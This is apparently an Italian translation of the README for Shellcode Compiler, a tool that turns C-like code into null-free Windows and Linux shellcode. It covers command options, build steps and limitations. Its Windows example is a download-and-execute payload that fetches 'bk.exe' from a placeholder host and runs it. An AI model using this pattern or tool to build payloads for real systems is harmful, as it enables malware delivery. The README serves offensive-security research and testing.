Compilatore di Shellcode

Shellcode Compiler è un programma che compila codice in stile C/C++ in uno shellcode piccolo, indipendente dalla posizione e senza NULL per Windows (x86 e x64) e Linux (x86 e x64). È possibile chiamare qualsiasi funzione API di Windows o syscall di Linux in modo intuitivo.

Shellcode Compiler prende come input un file sorgente e utilizza il proprio compilatore per interpretare il codice e generare un file assembly che viene assemblato con il motore Keystone.

Opzioni della riga di comando

    -h (--help)      : Mostra questo messaggio di aiuto
    -p (--platform)  : Piattaforma dello shellcode: win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : Stampa output dettagliato
    -t (--test)      : Testa (esegue) lo shellcode generato
    -r (--read)      : Leggi il file sorgente
    -o (--output)    : File di output dello shellcode binario generato
    -a (--assembbly) : File di output del codice assembly generato

Esempio Windows

    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

Esempio Linux

    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

Esempio di invocazione

    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
    

Limitazioni

1. Non è possibile utilizzare il valore di ritorno di una chiamata API
2. Non è possibile utilizzare puntatori o buffer
3. Non è possibile dichiarare variabili

Esistono anche molte altre limitazioni. Questa è una versione Alpha. Segnala eventuali bug o suggerimenti.

Registro delle modifiche

1. Supporto iniziale per Windows x64
2. Supporto iniziale per shellcode Linux (x86 e x64)

Keystone

1. Scarica il codice sorgente di Keystone Engine
2. Compila Keystone Engine come libreria statica usando nmake-lib.sh (per Linux) e nmake-lib.bat (per Windows)
3. Windows: Copia il file lib risultante da keystone-src\build\llvm\lib\keystone.lib a ShellcodeCompiler\Keystone\keystone_x86.lib (per 32 bit) e keystone_x64.lib (per 64 bit)
4. Linux: Copia il file lib risultante da keystone-src\build\llvm\lib\keystone.lib a ShellcodeCompiler\Keystone\libkeystone_x86.a (per 32 bit) e libkeystone_x64.a (per 64 bit)

Autore

Ionut Popescu (@NytroRST)